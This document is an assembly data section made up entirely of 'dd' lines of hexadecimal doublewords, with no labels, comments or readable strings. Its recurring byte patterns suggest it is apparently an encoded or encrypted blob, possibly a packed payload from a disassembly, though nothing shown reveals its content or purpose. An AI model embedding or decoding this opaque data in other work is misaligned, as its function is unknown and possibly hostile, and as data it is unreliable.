		dd 0B008A7A7h, 58583C8Ch, 55017CFBh, 0CF523048h, 0C1B04849h
		dd 8A7A7BEh, 583CE7B0h,	0A8FB58h, 58304851h, 0B04849CFh
		dd 0A7A7BEDCh, 3CF2B008h, 0B8FB5858h, 30485D71h, 4849CEA0h
		dd 0A7BE37B0h, 0CDB008A7h, 0FB58583Ch, 48595844h, 49CEB530h
		dd 0BE02B048h, 0B008A7A7h, 58583CD8h, 58A864FBh, 0CEBA3048h
		dd 1DB04849h, 8A7A7BEh,	583C33B0h, 170FB58h, 8E304855h
		dd 0B04849CEh, 0A7A7BE68h, 3C0EB008h, 44FB5858h, 3048516Ah
		dd 4849CE94h, 0A7BE43B0h, 19B008A7h, 0FB58583Ch, 4851104Ch
		dd 49CE9A30h, 0BE5EB048h, 0B008A7A7h, 58583C74h, 0FB289CDBh
		dd 4858A874h, 0D10D9B07h, 10B4D9BDh, 0B58585Ch,	0DDD50F0Eh
		dd 0A7A7A4E7h, 0D9F4F908h, 5D5B4849h, 4849D8A8h, 85DB0DBh
		dd 49DA78F9h, 5AB0DB48h, 57443208h, 0D89C5DE7h,	5D5B4849h
		dd 4849D990h, 856B0DBh,	72584DA7h, 0DDD5485Dh, 0A7A7A4E7h
		dd 0E3DDD508h, 8A7A7A3h, 79FC4DA7h, 0EF304859h,	0B04849CEh
		dd 0A7A7BDCCh, 0E3CDD508h, 0AA7A7A3h, 0A8744DA7h, 9CDB4858h
		dd 9ADDD54Ch, 8A7A7A6h,	0A3E3DDD5h, 0A708A7A7h,	516A704Dh
		dd 0F99BD148h, 4849DA68h, 9B6180AFh, 58ECDC57h,	0DDD55858h
		dd 0A7A7A6B6h, 0E7DDD508h, 8A7A7A4h, 586604B0h,	509CDB58h
		dd 0D51EAE69h, 0A7A69ADDh, 0A70B08A7h, 5957904Dh, 519ED148h
		dd 0B512DAEh, 7DE44DA7h, 42B34859h, 0A6B6DDD5h,	0D508A7A7h
		dd 0A7A4E7DDh, 7EB008A7h, 0DB585866h, 0AE51509Ch, 0E757912Dh
		dd 49D9F05Dh, 2C4DD348h, 0DB4849D9h, 4CD05FB2h,	4903485Dh
		dd 65E75748h, 4849D8F0h, 0F53064B3h, 0B04849CEh, 0A7A7BCBCh
		dd 78E56CA7h, 0A7485101h, 6A78E56Ch, 0D508485Dh, 0A7A59BCDh
		dd 4DA70AA7h, 48550170h, 0A59BDDD5h, 3008A7A7h,	48490348h
		dd 0A8744DA7h, 9CDB4858h
		dd 65631F44h, 4849DAFCh, 607E42Ah, 0D9B9103h, 0B4DBBDD1h
		dd 0F0E0B74h, 3E401DD3h, 57401DD1h, 0D95C5DE7h,	4DD34849h
		dd 4849D948h, 0E748DCD5h, 61585858h, 0DD57541Dh, 58585948h
		dd 0B01D9F3Eh, 1DD5585Bh, 0B0F908A8h, 84849DAh,	0FA760D3h
		dd 0A41DD144h, 49D8BCF9h, 0F45D5B48h, 0DB4849D9h, 1D615FB0h
		dd 85DD57A4h, 0A7585858h, 1DD5A815h, 2DD508BCh,	48B4DBB0h
		dd 5CE1BFD1h, 0AB585858h, 0B065D3FDh, 0F4849DAh, 0FA767D3h
		dd 0A41DD178h, 0EC5DE757h, 5B4849D8h, 49D9A05Dh, 50B0DB48h
		dd 57A41D61h, 5858C7DDh, 0B81DD558h, 0C2F03008h, 1DD34849h
		dd 60D308BCh, 58654CA7h, 0D1585858h, 0A8F9A41Dh, 0DB4849D8h
		dd 1D615BB0h, 0D5282DA4h, 49DABC5Dh, 0A01DD148h, 0A740D308h
		dd 1DD55C0Bh, 0B0300884h, 0D34849C1h, 0D308A01Dh, 654CA760h
		dd 58585858h, 0F9A41DD1h, 4849D978h, 0D8C85D5Bh, 0B0DB4849h
		dd 0A41D6154h, 1DD57B2Dh, 0B030088Ch, 0A74849C1h, 2DA7842Dh
		dd 57BFB0B8h, 9CDB5858h, 801DD148h, 8841DD3h, 0BA740D3h
		dd 0A01DD350h, 0A740D308h, 1DD3500Bh, 40D308B8h, 0D3500BA7h
		dd 0D308BC1Dh, 500BA740h, 5DB39869h, 5A585BE0h,	30607D8h
		dd 587C9A91h, 581859E0h, 58509AD8h, 49CECF30h, 0BB12B048h
		dd 0B008A7A7h, 58585725h, 5D6A4CFBh, 0CED13048h, 6DB04849h
		dd 8A7A7BBh, 585730B0h,	71B4FB58h, 2430485Dh, 0B04849CEh
		dd 0A7A7BB78h, 570BB008h, 0E4FB5858h, 3048597Dh, 4849CE34h
		dd 0A7BB53B0h, 66B008A7h, 0FB585857h, 48595798h, 49CE0530h
		dd 0BAAEB048h, 0B008A7A7h, 58585771h, 58A854FBh, 0CE1F3048h
		dd 0B9B04849h, 8A7A7BAh, 58574CB0h, 1040FB58h, 68304851h
		dd 0B04849CEh, 0A7A7BA94h, 56A7B008h, 78FB5858h, 30485501h
		dd 4849CE7Bh, 0A7BAEFB0h, 0B2B008A7h, 0FB585856h, 48597D94h
		dd 49CE5430h, 0BAFAB048h, 0B008A7A7h, 5858568Dh, 55016CFBh
		dd 0CDAF3048h, 0D5B04849h, 8A7A7BAh, 585698B0h,	114FB58h
		dd 0BC304849h, 0B04849CDh, 0A7A7BA20h, 56F3B008h, 48FB5858h
		dd 30484933h, 4849CD95h, 0A7BA3BB0h, 0CEB008A7h, 0FB585856h
		dd 4858A848h, 49CD9930h, 0BA16B048h, 0B008A7A7h, 585856D9h
		dd 58A86CFBh, 0CDF03048h, 61B04849h, 8A7A7BAh, 585634B0h
		dd 158FB58h, 0C3304851h, 0B04849CDh, 0A7A7BA7Ch, 560FB008h
		dd 1CFB5858h, 3048516Dh, 4849CDD2h, 0A7BA57B0h,	1AB008A7h
		dd 0FB585856h, 48493770h, 49CD2A30h, 0B9A2B048h, 0B008A7A7h
		dd 58585675h, 490220FBh, 0CD023048h, 0BDB04849h, 8A7A7B9h
		dd 585640B0h, 0A84CFB58h, 12304858h, 0B04849CDh, 0A7A7B988h
		dd 565BB008h, 50FB5858h, 30485101h, 4849CD60h, 0A7B9E3B0h
		dd 0B6B008A7h, 0FB585855h, 48516A70h, 49CD4530h, 0B9FEB048h
		dd 0B008A7A7h, 58585581h, 51111CFBh, 0CD563048h, 0C9B04849h
		dd 8A7A7B9h, 58559CB0h,	3774FB58h, 0A2304849h, 0B04849CCh
		dd 0A7A7B924h, 55F7B008h, 18FB5858h, 304858A8h,	4849CCB2h
		dd 0A7B93FB0h, 0C2B008A7h, 0FB585855h, 485D6A44h, 49CC8330h
		dd 0B90AB048h, 0B008A7A7h, 585855DDh, 493344FBh, 0CC943048h
		dd 65B04849h, 8A7A7B9h,	585528B0h, 148FB58h, 0E6304851h
		dd 0B04849CCh, 0A7A7B970h, 5503B008h, 60FB5858h, 30485111h
		dd 4849CCF7h, 0A7B94BB0h, 1EB008A7h, 0FB585855h, 48493340h
		dd 49CCF830h, 0B8A6B048h, 0B008A7A7h, 58585569h, 511048FBh
		dd 0CCD43048h, 0B1B04849h, 8A7A7B8h, 585544B0h,	7DC0FB58h
		dd 24304859h, 0B04849CCh, 0A7A7B88Ch, 555FB008h, 28FB5858h
		dd 30484902h, 4849CC33h, 0A7B8E7B0h, 0AAB008A7h, 0FB585854h
		dd 48516C68h, 49CC0230h, 0B8F2B048h, 0B008A7A7h, 58585485h
		dd 595790FBh, 0CC1A3048h, 0CDB04849h, 8A7A7B8h,	585490B0h
		dd 71A0FB58h, 6C30485Dh, 0B04849CCh, 0A7A7B8D8h, 54EBB008h
		dd 38FB5858h, 30484901h, 4849CC71h, 0A7B833B0h,	0C6B008A7h
		dd 0FB585854h, 485978CCh, 49CC4030h, 0B80EB048h, 0B008A7A7h
		dd 585854D1h, 58A860FBh, 0CC503048h, 19B04849h,	8A7A7B8h
		dd 58542CB0h, 6A40FB58h, 0AE30485Dh, 0B04849CBh, 0A7A7B874h
		dd 5407B008h, 68FB5858h, 30484937h, 4849CBBFh, 0A7B84FB0h
		dd 12B008A7h, 0FB585854h, 48511110h, 49CB8E30h,	0B85AB048h
		dd 0B008A7A7h, 5858546Dh, 49013CFBh, 0CB9C3048h, 0B5B04849h
		dd 8A7A787h, 585478B0h,	7DF0FB58h, 0E0304859h, 0B04849CBh
		dd 0A7A78780h, 5453B008h, 58FB5858h, 304858A8h,	4849CBF0h
		dd 0A7879BB0h, 0AEB008A7h, 0FB585853h, 4858A81Ch, 49CBC930h
		dd 87F6B048h, 0B008A7A7h, 585853B9h, 597DE8FBh,	0CB2F3048h
		dd 0C1B04849h, 8A7A787h, 585394B0h, 140FB58h, 3A304851h
		dd 0B04849CBh, 0A7A787DCh, 53EFB008h, 0D0FB5858h, 30485978h
		dd 4849CB0Dh, 0A78737B0h, 0FAB008A7h, 0FB585853h, 48493744h
		dd 49CB6630h, 8702B048h, 0B008A7A7h, 585853D5h,	59D09CD9h
		dd 0ACFB5858h, 9B485D71h, 9BDD10Dh, 8A41DD5h, 49D890F9h
		dd 185D5B48h, 0DB4849D9h, 0A7085AB0h, 49D9D86Dh, 502DA748h
		dd 885DE757h, 5B4849D8h, 49DA645Dh, 5EB0DB48h, 0D9E8F908h
		dd 0B0DB4849h, 4DA7085Fh, 48493778h, 104DA708h,	91485111h
		dd 77300F9Bh, 0B04849CBh, 0A7A786ACh, 4DA70801h, 48597DC0h
		dd 49DAD8FBh, 0D9BCF948h, 0B0DB4849h, 0D85D615Ch, 2D4849DAh
		dd 0CB78304Fh, 95B04849h, 1A7A786h, 404DA708h, 0FB485D6Ah
		dd 4849DAD8h, 49CB5230h, 86EEB048h, 801A7A7h, 0DAD86DA7h
		dd 4DA74849h, 485979F4h, 58A870FBh, 0D9B0748h, 0B09BDD1h
		dd 501DD30Eh, 0D16428D3h, 0D39959A9h, 0DD37019h, 482CD550h
		dd 1EEE5755h, 6C4DD359h, 0D94849D9h, 5859A69Ah,	579BD158h
		dd 0EE5782F7h, 15A8DB5Eh, 0D3A71DD0h, 49D90855h, 5AB1DB48h
		dd 0EE5756B3h, 0EE57565Ch, 8869A70Dh, 19565CD0h, 0B62A8161h
		dd 0D1541DD3h, 6A8D140h, 0D9B9103h, 0B4D9BDD1h,	58585954h
		dd 5025D30Fh, 58595C30h, 0A0DDD558h, 8A7A7A6h, 7DE84DA7h
		dd 0E7574859h, 49D9705Dh, 204DD348h, 5B4849D9h,	49D8E84Dh
		dd 56B2DB48h, 0AE5DCCD0h, 30A7A7A6h, 5858595Ch,	0A6A0DDD5h
		dd 0D508A7A7h, 2 dup(0D508A41Dh), 0A7A6ACDDh, 5C3008A7h
		dd 0D5585859h, 0A7A6A0DDh, 0DDD508A7h, 0A7A7A6A0h, 584DA708h
		dd 30485101h, 4849CB5Ah, 0A7859FB0h, 0ACEDA7A7h, 8A7A7A6h
		dd 704DA70Fh, 0DB485501h, 0E757489Ch, 49DA185Dh, 50B0DB48h
		dd 0B3A41DD1h, 0A41DD377h, 645F5CD2h, 64542419h, 0D3502702h
		dd 0A059A41Dh, 0D37858D8h, 5CD2A41Dh, 2468645Fh, 27616454h
		dd 0A41DD350h, 58D8A059h, 0A41DA769h, 49D928F9h, 5C98DB48h
		dd 2AA41D61h, 9B91079Ch, 0EBDD10Dh, 5025D30Fh, 0D1542DD3h
		dd 481D6BA8h, 0D14C1D6Bh, 0D19A59A2h, 401D5B88h, 255B9FD1h
		dd 442DA778h, 5E69B00Fh, 9CDB5858h, 599FD150h, 7A0D1AFh
		dd 0D9B0506h, 1EB0BDD1h, 0F9A7A7ABh, 4849D9F8h,	0D8B05D5Bh
		dd 0B0DB4849h, 184DD35Fh, 0D94849D9h, 58B2079Ah, 9AF75758h
		dd 7C4DA708h, 1485501h,	9A058CB3h, 0D10D585Ch, 0F0E0BBDh
		dd 0F95005D3h, 4849DA10h, 6D5B9ED1h, 4849D9D0h,	0B351B6DBh
		dd 184DA76Dh, 0D3484928h, 49D9F865h, 0B9FDB48h,	0FC4DE757h
		dd 594849D9h, 158BE28Fh, 0D109483Ah, 99B2AF99h,	0A1995FA2h
		dd 0D1927147h, 9F590188h, 4CD0A2D1h
		dd 2D631E6Bh, 0D39E2454h, 4DD3541Dh, 4849DA68h,	0D8B44D5Bh
		dd 0B2DB4849h, 5B4CD05Ah, 60780D1h, 0D9B0503h, 0D30FBDD1h
		dd 2DA7541Dh, 482DA74Ch, 0A7542DA7h, 4DA7502Dh,	48597D90h
		dd 489A0507h, 0BDD10D58h, 0F0E0B09h, 0D3502DD3h, 0D13E401Dh
		dd 84F9401Dh, 0DB4849D9h, 5D5B5A98h, 4849D990h,	7D885D61h
		dd 552B4859h, 49D9ECF9h, 5CB0DB48h, 597D88FBh, 0D998F948h
		dd 9FD14849h, 0D8B0655Bh, 0B7DB4849h, 0D554B35Ah, 48B8E544h
		dd 86614859h, 0F91F4D2Ch, 4849D98Ch, 585B855Dh,	5D5B58h
		dd 614849D9h, 57B82A9Fh, 0D9605DE7h, 0E7574849h, 49D93C4Dh
		dd 48DCD548h, 58585BBCh, 5F2D9F61h, 23B19869h, 57585859h
		dd 48256CEFh, 0D3485D72h, 49DA4C45h, 0BC455B48h, 0DB4849D8h
		dd 86615FB3h, 0EE576E2Dh, 79E8655Ch, 0A7084859h, 5878E56Ch
		dd 86B04859h, 0DB585847h, 0E757509Ch, 49D9A86Dh, 806D5B48h
		dd 0DB4849D8h, 6CD154B6h, 5948B8E5h, 0B1986948h, 58585972h
		dd 256CEF57h, 485D7248h, 0D98845D3h, 9BD94849h,	5858A7ACh
		dd 0D9EC455Bh, 86614849h, 58B1DD57h, 0B0F95858h, 574849D8h
		dd 0D8944DE7h, 88594849h, 0D15AB0DBh, 0E1B1A41Dh, 0D3585858h
		dd 0ABD1A42Dh, 0D35ABB99h, 49D9804Dh, 8C4D5B48h, 0DB4849D9h
		dd 4C6154B2h, 5948B845h, 0CADC5748h, 57585858h,	482D4CEFh
		dd 0D3485D72h, 49D94855h, 0AE99D948h, 575858A7h, 0DA405DE7h
		dd 99594849h, 292C9261h, 78E54CD3h, 61485958h, 5878454Ch
		dd 392D4859h, 0E86D44D2h, 62485979h, 79E86544h,	92D4859h
		dd 2D6CEF57h, 485D7248h, 0D9DC45D3h, 0B3DB4849h, 2D86615Bh
		dd 0A42DD375h, 6D44EE57h, 485979E8h, 0ED6CA70Bh, 48595878h
		dd 5846A8B0h, 509CDB58h, 0DA6C6DD3h, 0B6DB4849h, 0E56CD150h
		dd 485948B8h, 2DD37DB3h, 2D6CD5A4h, 485D7248h, 0B356A73Eh
		dd 0A41DA74Eh, 49D928F9h, 5BBC5D48h, 1D615858h,	6CDA57A4h
		dd 69A7A7A7h, 5747B398h, 48256CEFh, 0D3485D72h,	49DA1045h
		dd 5BB3DB48h, 50268661h, 2554A73Eh, 485D7248h, 6079869h
		dd 7C9A9103h, 0BDD10D58h, 584A54E0h, 0DD4FB058h, 0E0B5858h
		dd 0D6AB300Fh, 15B04849h, 8A7A782h, 0A859E5D5h,	0A70FA7A7h
		dd 5501704Dh, 549CDB48h, 49D90CF9h, 5B9ED148h, 49D9B86Dh
		dd 54B6DB48h, 0E4D878B3h, 0A7A8596Dh, 4D2D7BA7h, 49D9D0F9h
		dd 745D5B48h, 0DB4849D9h, 0DCD055B0h, 0A7A8596Dh, 0A6D91EA7h
		dd 585857A7h, 0E757802Ah, 49DA1C5Dh, 5B9BD148h,	49D97445h
		dd 57B3DB48h, 49D9A0F9h, 4DE75748h, 4849D9FCh, 0B0DB8859h
		dd 0A4DDD151h, 0F9A7A7B7h, 4849DA58h, 615DB0DBh, 72D501Dh
		dd 61541DD3h, 0A7B7A4DDh, 0D54F2DA7h, 0A85945DCh, 3008A7A7h
		dd 48490128h, 58DCD4B0h, 5AC0B158h, 0D4D55858h,	0A7A85945h
		dd 0A790DBA7h, 5964D818h, 59A12D58h, 599BDB9Bh,	0B7A4DDA7h
		dd 0E657A7A7h, 0A85945DCh, 4DD3A7A7h, 4849DA54h, 0D9804D5Bh
		dd 0B2DB4849h, 57886150h, 585A05DCh, 57F9B358h,	0DA1C5DE7h
		dd 9BD14849h, 0D904455Bh, 0B3DB4849h, 0DAF8F953h, 0DDD14849h
		dd 0A7A7B7A0h, 0CC5DE757h, 104849D9h, 57500DD3h, 0D8CC55E7h
		dd 0B1DB4849h, 5A54D05Ah, 49D9E0F9h, 4DE75748h,	4849D970h
		dd 0B0DB8859h, 0A4DDD151h, 0A7A7A7B7h, 4928184Dh, 584CE148h
		dd 0AFC15858h, 0ACCDD1A1h, 30A7A7B7h, 4849D6B0h, 0A7815BB0h
		dd 0E5D508A7h, 0A7A7B6ADh, 0DB8BB00Fh, 0DCD55858h, 0A7A85945h
		dd 0DDD508A7h, 0A7A7B6ADh, 744DA708h, 0DB4858A8h, 64F9549Ch
		dd 0DB4849DAh, 0DD615A98h, 0A7A7B7ACh, 5886DB57h, 0EDA75858h
		dd 0A7A7B7A0h, 0B5AEDDD5h, 0B008A7A7h, 58583416h, 1C5DE757h
		dd 0DB4849D9h, 0D5085BB0h, 0A7B6ADDDh, 2DA708A7h, 5391B050h
		dd 9CDB5858h, 8865D34Ch, 0D94849D9h, 58A7AC9Fh,	44655B58h
		dd 614849DAh, 0D57F2DA0h, 0A7B6ADDDh, 2DA708A7h, 744DA750h
		dd 304858A8h, 4849D6BBh, 0A78033B0h, 2DA708A7h,	744DA750h
		dd 0DB4858A8h, 24F94C9Ch, 0DB4849D9h, 0D5085EB0h, 0A7B5AEDDh
		dd 2DA708A7h, 5329B050h, 9CDB5858h, 0D465D354h,	0D94849D9h
		dd 58A7A69Fh, 64655B58h, 614849DAh, 30632DA0h, 4849D680h
		dd 0A7807BB0h, 2DA708A7h, 744DA750h, 0D54858A8h, 0A7B5AEDDh
		dd 2DA708A7h, 744DA750h, 304858A8h, 4849D68Bh, 0A78FA7B0h
		dd 2DA708A7h, 744DA750h, 0DB4858A8h, 0DDA7789Ch, 0A7A7B7A0h
		dd 0B7A4EDA7h, 0B1B0A7A7h, 158585Ch, 0B7ACDDD1h, 0E757A7A7h
		dd 49D97055h, 0DC555B48h, 0DB4849D9h, 90615FB1h, 0E7570C2Bh
		dd 49D8885Dh, 5DB0DB48h, 0ADDDD508h, 8A7A7B6h, 0B0502DA7h
		dd 5858528Fh, 0D3549CDBh, 49D88465h, 0A39FD948h, 615858A7h
		dd 0D57F2DA0h, 0A7B6ADDDh, 2DA708A7h, 744DA750h, 304858A8h
		dd 4849D696h, 0A78F27B0h, 2DA708A7h, 744DA750h,	0DB4858A8h
		dd 0D4D54C9Ch, 0A7A85945h, 0A790DBA7h, 5964D818h, 59A12D58h
		dd 0A4DDA79Bh, 0DBA7A7B7h, 0E657599Bh, 0A85945DCh, 4DD3A7A7h
		dd 4849D944h, 1855E757h, 594849DAh, 52B2DB92h, 0DD578861h
		dd 0A7A7A64Bh, 49D69130h, 8F72B048h, 0A708A7A7h, 4DA7502Dh
		dd 4858A874h, 0D3549CDBh, 0A7B7A0DDh, 0DAF8FBA7h, 6074849h
		dd 0B9B9103h, 2CD30F0Eh, 24D3487Ch, 0A1D14C7Ch,	0BB8BABD1h
		dd 0D92C4DD3h, 9ADB4849h, 504D5B49h, 0D14849D9h, 0D1A17189h
		dd 51B08BA8h, 780D19Bh,	0D9B0306h, 0B4D9BDD1h, 5858597Ch
		dd 300F0E0Bh, 585E42D8h, 4DA71832h, 485D71B4h, 0B8309BD1h
		dd 32585CCBh, 0B44DA718h, 0D1485D71h, 1DD3A41Dh, 5A98DB50h
		dd 0A42DA708h, 58D9D8B0h, 0A41DD358h, 90DB99D1h, 64D818A7h
		dd 0A12D5859h, 0D3A01DD1h, 49D98865h, 5FB7DB48h, 0A0D163B3h
		dd 0D1A41D5Bh, 0A7A6B0DDh, 48EE57A7h, 0A6B8CDD1h, 0A0D1A7A7h
		dd 0A6BCDDD1h, 0BFAFA7A7h, 0A684DDD1h, 0DDD3A7A7h, 0A7A7A6B8h
		dd 0A684CDD3h, 8859A7A7h, 0A6B0CDD3h, 5AD0A7A7h, 0A025631Fh
		dd 0E757982Ah, 49D9645Dh, 4DE75748h, 4849D910h,	2E48DCD5h
		dd 8585E42h, 0A02DA70Bh, 0B0A42DA7h, 585861F8h,	0D3489CDBh
		dd 49D8C86Dh, 5CB6DB48h, 64D84DB3h, 5C2D656Bh, 716B5C9Eh
		dd 736B64D8h, 5C9E5C2Dh, 0D11E706Bh, 0A790DB81h, 5964D818h
		dd 61A12D58h, 57832A9Eh, 0D9C05DE7h, 5D5B4849h,	4849D8C8h
		dd 0D35DB0DBh, 64D8500Dh, 492D135Ah, 5978F830h,	0B4DDD548h
		dd 8A7A7A6h, 58D8FCB0h,	5DE75758h, 4849D9A8h, 0D35EB0DBh
		dd 64D8500Dh, 492D1C5Ah, 516C1830h, 0B4DDD548h,	8A7A7A6h
		dd 58D8D8B0h, 5DE75758h, 4849DA18h, 0D350B0DBh,	64D8500Dh
		dd 6A2D085Ah, 51106830h, 0B4DDD548h, 8A7A7A6h, 58D804B0h
		dd 0DA70F958h, 0B0DB4849h, 0D50B085Fh, 0A7A6B4DDh, 37B008A7h
		dd 0DB58587Eh, 9851549Ch, 59DADD57h, 0C8F95858h, 5B4849D8h
		dd 49D88C5Dh, 51B0DB48h, 0D8E4F908h, 0E7574849h, 49D9404Dh
		dd 0DB885948h, 320850B0h, 0DA74F95Ch, 0B0DB4849h, 0E757085Fh
		dd 49D9A85Dh, 5EB0DB48h, 58583008h, 0DDD51858h,	0A7A7A6B4h
		dd 404DA708h, 0D1484933h, 5A32AC1Dh, 49D8C8F9h,	5CB0DB48h
		dd 5DE75708h, 4849D960h, 884DE757h, 594849D8h, 51B0DB88h
		dd 0AC2DA708h, 37684DA7h, 99304849h, 0B04849D6h, 0A7A78CB8h
		dd 4DE75701h, 4849DA40h, 0A80DD50Ah, 144DD30Ah,	574849DAh
		dd 0D96455E7h, 92594849h, 0A56B2DBh, 0AC2DA708h, 37444DA7h
		dd 14F94849h, 574849D9h
		dd 0D9F04DE7h, 88594849h, 0D35AB0DBh, 64D8500Dh, 6A2D135Ah
		dd 49D6E430h, 8CCAB048h, 5701A7A7h, 0D9104DE7h,	0A124849h
		dd 0AA80DD5h, 0DA104DD3h, 4D5B4849h, 4849DA7Ch,	0A5CB2DBh
		dd 0AC2DA708h, 37444DA7h, 48F94849h, 0DB4849D9h, 0DD351B0h
		dd 5A64D850h, 30642D08h, 4849D6EFh, 0A78C17B0h,	4DD301A7h
		dd 4849D998h, 0A455E757h, 594849D8h, 5BB2DB92h,	0A80DD50Ah
		dd 0B04DD30Ah, 574849D8h, 0D95C55E7h, 92594849h, 2DA7080Ah
		dd 444DA7ACh, 0D1484937h, 0A790DB81h, 5964D818h, 0D3A12D58h
		dd 49D90C55h, 5C555B48h, 0DB4849DAh, 0D50952B1h, 0D309A815h
		dd 49D9A055h, 5AB1DB48h, 92599AD1h, 2DA70B0Ah, 444DA7ACh
		dd 0A7484937h, 4DA7AC2Dh, 48511110h, 0A7A42DA7h, 597D944Dh
		dd 4DA70B48h, 48597D94h, 91030607h, 0BDD10D9Bh,	502DA70Fh
		dd 0DA0C6DA7h, 4DA74849h, 485979F4h, 5079FD1h, 0BDD10D9Bh
		dd 0E0B0809h, 5DE7570Fh, 4849D8ECh, 0F04DE757h,	0D14849D9h
		dd 0DB8E599Eh, 1DD55DB6h, 503008A4h, 0D34849C2h, 0D308501Dh
		dd 454CA740h, 58585858h, 4CF99FD1h, 5B4849D9h, 49D9805Dh
		dd 5DB0DB48h, 5C2C9F61h, 3FB39869h, 8A01DD5h, 0D3482DA7h
		dd 0D308A41Dh, 480BA740h, 0C8F99FD1h, 5B4849D8h, 49D9505Dh
		dd 54B0DB48h, 602D9F61h, 0A74C2DA7h, 1DD3542Dh,	40D308A0h
		dd 0D14C0BA7h, 0DA7CF99Fh, 0E7574849h, 49D8CC4Dh, 0DB885948h
		dd 9F615BB0h, 6DD3512Dh, 4849D8A8h, 0D35AB6DBh,	0D308A01Dh
		dd 500BA740h, 8A41DD3h,	0BA740D3h, 7A8D150h, 9B910306h
		dd 7C2CD30Eh, 57A9D150h, 0D8F05DE7h, 5D5B4849h,	4849D8FCh
		dd 6D259961h, 0F05DE757h, 5B4849D8h, 49D90C5Dh,	5BB0DB48h
		dd 0F990F757h, 4849D880h, 0D15DB0DBh, 0F99A59AAh, 4849D8F8h
		dd 0D9445D5Bh, 57104849h, 897188F7h, 585966B1h,	0E7571158h
		dd 49DA485Dh, 5798DB48h, 79259961h, 49DA6CF9h, 5EB0DB48h
		dd 0D190F757h, 0D3A87190h, 49D9F44Dh, 539ADB48h, 897199D1h
		dd 585956B1h, 0E7571158h, 49D9A85Dh, 904DD348h,	0D54849D9h
		dd 614C481Ch, 57702599h, 0D9CC5DE7h, 5D5B4849h,	4849D9ACh
		dd 575FB0DBh, 60F990F7h, 0DB4849DAh, 5D5B6298h,	4849D9F8h
		dd 88B19971h, 11585858h, 49D954F9h, 7A98DB48h, 7A259961h
		dd 505DE757h, 5B4849DAh, 49D9085Dh, 5BB0DB48h, 0F990F757h
		dd 4849D9D0h, 711998DBh, 58F9B199h, 0F9115858h,	4849D9D8h
		dd 577398DBh, 0D9CC4DE7h, 88594849h, 41259961h,	945DE757h
		dd 0DB4849D9h, 0F7575FB0h, 0D900F990h, 98DB4849h, 0B3997109h
		dd 0E757112Ah, 49D8AC5Dh, 204DD348h, 0D54849D9h, 6173481Ch
		dd 577A2599h, 0D9105DE7h, 0E7574849h, 49D9604Dh, 0DB885948h
		dd 0F7575AB0h, 0D930F990h, 98DB4849h, 0B3997130h, 28F91162h
		dd 0DB4849D9h, 99616D98h, 68F97B25h, 5B4849D9h,	49D9385Dh
		dd 5EB0DB48h, 0F990F757h, 4849D988h, 5B3098DBh,	49D9685Dh
		dd 0B3997148h, 0D9B4F952h, 98DB4849h, 0D199716Eh, 0D9B0690h
		dd 0B09BDD1h, 1DD30F0Eh, 40EE5750h, 885DE757h, 0D34849D8h
		dd 49D94C4Dh, 48DCD548h, 585858A1h, 0D380F757h,	0EE57501Dh
		dd 9B595918h, 505DE757h, 574849DAh, 0D8884DE7h,	0DCD54849h
		dd 5858A148h, 80F75758h, 57501DD3h, 595A18EEh, 86DD39Bh
		dd 0DB4849D9h, 13B35CB6h, 0D95865D3h, 0B7DB4849h, 0D3AF715Eh
		dd 0DD1540Dh, 0D982D1A4h, 585867BAh, 125D25D8h,	1A9892DBh
		dd 184D4CD2h, 0D3484937h, 4CD0A415h, 0D380D161h, 49D90465h
		dd 6F9FDB48h, 0A04DE757h, 0D14849D8h, 0C18959A1h, 9BD1A1AFh
		dd 57599EDBh, 0D8A45DE7h, 5D5B4849h, 4849D97Ch,	0FC249E61h
		dd 91030607h, 0BDD10D9Bh, 0D30F0809h, 8CB05025h, 5158586Fh
		dd 0A77C2C98h, 49DAD06Dh, 0F593248h, 1304DA7h, 1DD14849h
		dd 0D06DA7A4h, 324849DAh, 4DA70F5Ch, 48490130h,	7A01DD1h
		dd 0D10D9B91h, 0F0E0BBDh, 0D3542DD3h, 0C0304825h, 0E4849C2h
		dd 1644DA7h, 98514855h,	1DD3482Ch, 0A75FD150h, 0A740D36Fh
		dd 98695C0Bh, 403017B3h, 0E4849C2h, 1644DA7h, 98514855h
		dd 1DD3482Ch, 0A75FD150h, 0A740D36Fh, 98695C0Bh, 0A03077B3h
		dd 0E4849C1h, 1644DA7h,	98514855h, 1DD3482Ch, 0A75FD150h
		dd 0A740D36Fh, 98695C0Bh, 0F4F957B3h, 0DB4849D8h, 5FD15FB0h
		dd 58185AE0h, 30607D8h,	58549A05h, 0D9BDD10Dh, 585A30B4h
		dd 0F0E0B58h, 4DA75832h, 4855017Ch, 301B8369h, 4849D6F7h
		dd 0A7978BB0h, 502DA7A7h, 0E6E5D508h, 0FA7A7A5h, 1704DA7h
		dd 9CDB4855h, 9ADDD54Ch, 8A7A7A6h, 0A5E6DDD5h, 0A708A7A7h
		dd 516A704Dh, 0E0DDD148h, 0D3A7A7A5h, 49D9EC55h, 555B48h
		dd 0DB4849D9h, 81AF5EB1h, 0DD579061h, 585859B1h, 49D94CF9h
		dd 5BA55D48h, 5D5B5858h, 4849D930h, 2B741D61h, 0D9E4F944h
		dd 0CF5D4849h, 57585858h, 0D9B04DE7h, 88594849h, 57741D61h
		dd 585AD9DDh, 5DE75758h, 4849D8A4h, 615AB0DBh, 0DF57701Dh
		dd 58585A36h, 405DE757h, 5D4849D9h, 585B5560h, 57741D61h
		dd 585A01DFh, 781DD558h, 481DD508h, 484DA708h, 0D1484933h
		dd 0A7A5F8DDh, 0D9A0F9A7h, 5D5B4849h, 4849D928h, 615FB0DBh
		dd 0A7A5F8DDh, 0D55525A7h, 0A7A5C0E5h, 782DD5A7h, 53B3FDFDh
		dd 0A5C0E5D5h, 2DD5A7A7h, 0D5FDFD48h, 0A7A5F0DDh, 0DDD508A7h
		dd 0A7A7A5C0h, 204DA708h, 57484902h, 0D9C85DE7h, 0EF574849h
		dd 0A7A5EACDh, 0D5EF57A7h, 0A7A7A5E8h, 0D96C6DD3h, 9EDB4849h
		dd 96F75762h, 0EF579259h, 0A7A5F6D5h, 246DD3A7h, 0DB4849D9h
		dd 6D5B559Eh, 4849D928h, 5796F757h, 0D99C6DE7h,	65D34849h
		dd 4849DA6Ch, 74662CD5h, 5996F757h, 0D5EF5792h,	0A7A7A5F2h
		dd 0D8A86DD3h, 9EDB4849h, 6D5B40h, 574849D9h, 9ED196F7h
		dd 57489EDBh, 6DD396F7h, 4849D9A0h, 5B6C9EDBh, 49DA586Dh
		dd 96F75748h, 0EF579259h, 0A7A5F0D5h, 0E06DD3A7h, 0DB4849D9h
		dd 6D5B5C9Eh, 4849D9DCh, 0D396F757h, 49DA786Dh,	429EDB48h
